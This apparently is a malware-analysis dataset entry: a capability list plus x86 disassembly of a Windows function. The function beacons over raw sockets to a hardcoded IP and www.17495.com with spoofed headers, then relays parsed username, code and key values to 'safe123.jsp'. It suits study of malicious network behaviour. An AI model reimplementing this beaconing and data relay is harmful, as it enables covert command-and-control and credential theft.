Function at 0x100024d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2024
call fcn.10004150
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x2018]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100025b9
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea ecx, [ebp - 0x201c]
push ecx
push 0x1005
mov esi, eax
push 0xffff
push esi
mov dword [ebp - 0x201c], 0x7d0
call ebx
push 4
lea edx, [ebp - 0x201c]
push edx
push 0x1006
push 0xffff
push esi
call ebx
xor eax, eax
cmp esi, 0xffffffff
je 0x100025bb
mov dword [ebp - 0x1e68], eax
mov dword [ebp - 0x1e64], eax
mov dword [ebp - 0x1e60], eax
mov dword [ebp - 0x1e5c], eax
mov eax, 2
push 0x50
mov word [ebp - 0x1e68], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.59.51.81.102
mov word [ebp - 0x1e66], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x10
lea ecx, [ebp - 0x1e68]
push ecx
push esi
mov dword [ebp - 0x1e64], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x100025cc
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100038d2
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.WS2_32.dll_send]
push 0
push 0x13
push str.GET__sa__HTTP_1.1_r_n
push esi
call edi
push 0
push 0xae
push str.Accept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg__application_x_shockwave_flash__application_vnd.ms_excel__application_vnd.ms_powerpoint__application_msword____r_n
push esi
call edi
push 0
push 0x23
push str.Referer:_http:__www.17495.com_sa__r_n
push esi
call edi
push 0
push 0x18
push str.Accept_Language:_zh_cn_r_n
push esi
call edi
push 0
push 0x40
push str.User_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0__r_n
push esi
call edi
push 0
push 0x15
push str.Host:_www.17495.com_r_n
push esi
call edi
push 0
push 0x19
push str.Cache_Control:_no_cache_r_n
push esi
call edi
push 0
push 2
push 0x100054e0
push esi
call edi
push 0
push 2
push 0x100054e0
push esi
call edi
push 0
push 2
push 0x100054e0
push esi
call edi
push 0xfd0
lea edx, [ebp - 0x1658]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xfd0
lea eax, [ebp - 0x1658]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
push esi
test eax, eax
jle 0x100025ad
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [ebp - 0x1658]
push ecx
mov ecx, str._script_src
call fcn.100023b0
mov edi, eax
add esp, 4
test edi, edi
je 0x100025b3
lea edx, [ebp - 0x1658]
push edx
mov ecx, str.___script_
call fcn.100023b0
add esp, 4
test eax, eax
je 0x100025b3
sub eax, edi
lea esi, [eax - 0xe]
push esi
add edi, 0xd
lea eax, [ebp - 0x488]
push edi
push eax
call sub.MSVCR100.dll_memcpy
lea ecx, [ebp - 0x481]
push ecx
mov ecx, 0x10005500
mov byte [ebp + esi - 0x488], 0
call fcn.100023b0
mov edi, dword [sym.imp.MSVCR100.dll_sprintf]
mov esi, eax
push esi
lea edx, [ebp - 0x688]
push 0x100052e0
push edx
call edi
lea eax, [ebp - 0x488]
sub esi, eax
sub esi, 7
push esi
lea ecx, [ebp - 0x481]
push ecx
lea edx, [ebp - 0x108]
push edx
call sub.MSVCR100.dll_memcpy
lea eax, [ebp - 0x108]
push eax
mov ecx, 0x10005504
mov byte [ebp + esi - 0x108], 0
call fcn.100023b0
mov esi, eax
add esp, 0x2c
test esi, esi
je 0x1000278a
lea edi, [esi + 1]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002750
sub eax, edx
push eax
lea ecx, [ebp - 0x208]
push edi
push ecx
call sub.MSVCR100.dll_memcpy
mov eax, edi
add esp, 0xc
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002770
mov edi, dword [sym.imp.MSVCR100.dll_sprintf]
sub eax, edx
mov byte [ebp + eax - 0x208], cl
mov byte [esi], cl
jmp 0x1000279b
lea edx, [ebp - 0x208]
push 0x10005508
push edx
call edi
add esp, 8
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
lea eax, [ebp - 0x201c]
push eax
push 0x1005
push 0xffff
push esi
call ebx
push 4
lea ecx, [ebp - 0x201c]
push ecx
push 0x1006
push 0xffff
push esi
call ebx
xor eax, eax
cmp esi, 0xffffffff
je 0x100025bb
mov dword [ebp - 0x1e88], eax
mov dword [ebp - 0x1e84], eax
mov dword [ebp - 0x1e80], eax
mov dword [ebp - 0x1e7c], eax
lea eax, [ebp - 0x208]
mov edx, 2
push eax
mov word [ebp - 0x1e88], dx
call dword [sym.imp.MSVCR100.dll_atoi]
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [ebp - 0x108]
push ecx
mov word [ebp - 0x1e86], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x10
lea edx, [ebp - 0x1e88]
push edx
push esi
mov dword [ebp - 0x1e84], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x100025ac
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x108]
push ecx
mov edx, eax
push edx
mov eax, ecx
push eax
lea ecx, [ebp - 0x688]
push ecx
lea edx, [ebp - 0x1e58]
push str.GET__s_HTTP_1.1_r_nAccept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg__application_x_shockwave_flash__application_vnd.ms_excel__application_vnd.ms_powerpoint__application_msword____r_nReferer:_http:___s:_s_ipspro.jsp_usernamelotceofw1_r_nAccept_Language:_zh_cn_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0__r_nHost:__s:_s_nCache_Control:_no_cache_r_n_r_n
push edx
call edi
push esi
lea edx, [ebp - 0x1e58]
call fcn.100024a0
push 0xfd0
lea eax, [ebp - 0x1658]
push 0
push eax
call sub.MSVCR100.dll_memset
mov edi, dword [sym.imp.WS2_32.dll_recv]
add esp, 0x2c
push 0
push 0xfd0
lea ecx, [ebp - 0x1658]
push ecx
push esi
call edi
push 0
mov edx, 0xfd0
sub edx, eax
push edx
lea eax, [ebp + eax - 0x1658]
push eax
push esi
call edi
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [ebp - 0x1658]
push ecx
mov ecx, str.username
call fcn.100023b0
add esp, 4
test eax, eax
je 0x100025b3
push eax
mov ecx, str.value_
call fcn.100023b0
mov edi, eax
add esp, 4
test edi, edi
je 0x100025b3
push edi
mov ecx, 0x1000569c
call fcn.100023b0
mov esi, eax
sub esi, edi
sub esi, 7
push esi
add edi, 7
lea edx, [ebp - 0x288]
push edi
push edx
mov dword [ebp - 0x2020], eax
call sub.MSVCR100.dll_memcpy
mov eax, dword [ebp - 0x2020]
push eax
mov ecx, str.value_
mov byte [ebp + esi - 0x288], 0
call fcn.100023b0
mov edi, eax
add esp, 0x14
test edi, edi
je 0x10002a08
push edi
mov ecx, 0x1000569c
call fcn.100023b0
mov ebx, eax
mov esi, ebx
sub esi, edi
sub esi, 7
push esi
add edi, 7
lea ecx, [ebp - 0x308]
push edi
push ecx
call sub.MSVCR100.dll_memcpy
push ebx
mov ecx, str.value_
mov byte [ebp + esi - 0x308], 0
call fcn.100023b0
mov edi, eax
add esp, 0x14
test edi, edi
je 0x10002a02
push edi
mov ecx, 0x1000569c
call fcn.100023b0
mov ebx, eax
mov esi, ebx
sub esi, edi
sub esi, 7
push esi
add edi, 7
lea edx, [ebp - 0x588]
push edi
push edx
call sub.MSVCR100.dll_memcpy
push ebx
mov ecx, str.value_
mov byte [ebp + esi - 0x588], 0
call fcn.100023b0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x10002a02
push esi
mov ecx, 0x1000569c
call fcn.100023b0
mov edi, eax
mov eax, 0xfffffff9
sub eax, esi
add edi, eax
push edi
add esi, 7
lea ecx, [ebp - 0x388]
push esi
push ecx
call sub.MSVCR100.dll_memcpy
add esp, 0x10
mov byte [ebp + edi - 0x388], 0
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 4
lea edx, [ebp - 0x201c]
push edx
push 0x1005
mov esi, eax
push 0xffff
push esi
call ebx
push 4
lea eax, [ebp - 0x201c]
push eax
push 0x1006
push 0xffff
push esi
call ebx
xor eax, eax
cmp esi, 0xffffffff
je 0x100025bb
lea edx, [ebp - 0x208]
mov ecx, 2
mov dword [ebp - 0x1e78], eax
push edx
mov dword [ebp - 0x1e74], eax
mov dword [ebp - 0x1e70], eax
mov dword [ebp - 0x1e6c], eax
mov word [ebp - 0x1e78], cx
call dword [sym.imp.MSVCR100.dll_atoi]
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e76], ax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x10
lea ecx, [ebp - 0x1e78]
push ecx
push esi
mov dword [ebp - 0x1e74], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x100025ac
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x388]
push ecx
lea edx, [ebp - 0x588]
push edx
lea eax, [ebp - 0x308]
push eax
lea ecx, [ebp - 0x288]
push ecx
lea edx, [ebp - 0x1e58]
push str.GET__safe123.jsp_username_scode_skey_sfw_s_HTTP_1.1_r_nHost:__s:_s_r_nConnection:_keep_alive_r_nPragma:_no_cache_r_nCache_Control:_no_cache_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_44.0.2403.69_Safari_537.36_QQBrowser_9.1.4060.400_r_nHTTPS:_1_r_nAccept_Encoding:_gzip__deflate__sdch_r_nAccept_Language:_zh_CN_zh_q0.8_r_n_r_n
push edx
call dword [sym.imp.MSVCR100.dll_sprintf]
push esi
lea edx, [ebp - 0x1e58]
call fcn.100024a0
push 0xfd0
lea eax, [ebp - 0x1658]
push 0
push eax
call sub.MSVCR100.dll_memset
mov edi, dword [sym.imp.WS2_32.dll_recv]
add esp, 0x30
push 0
push 0xfd0
lea ecx, [ebp - 0x1658]
push ecx
push esi
call edi
push 0
mov edx, 0xfd0
sub edx, eax
push edx
lea eax, [ebp + eax - 0x1658]
push eax
push esi
call edi
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.100038d2
mov esp, ebp
pop ebp
ret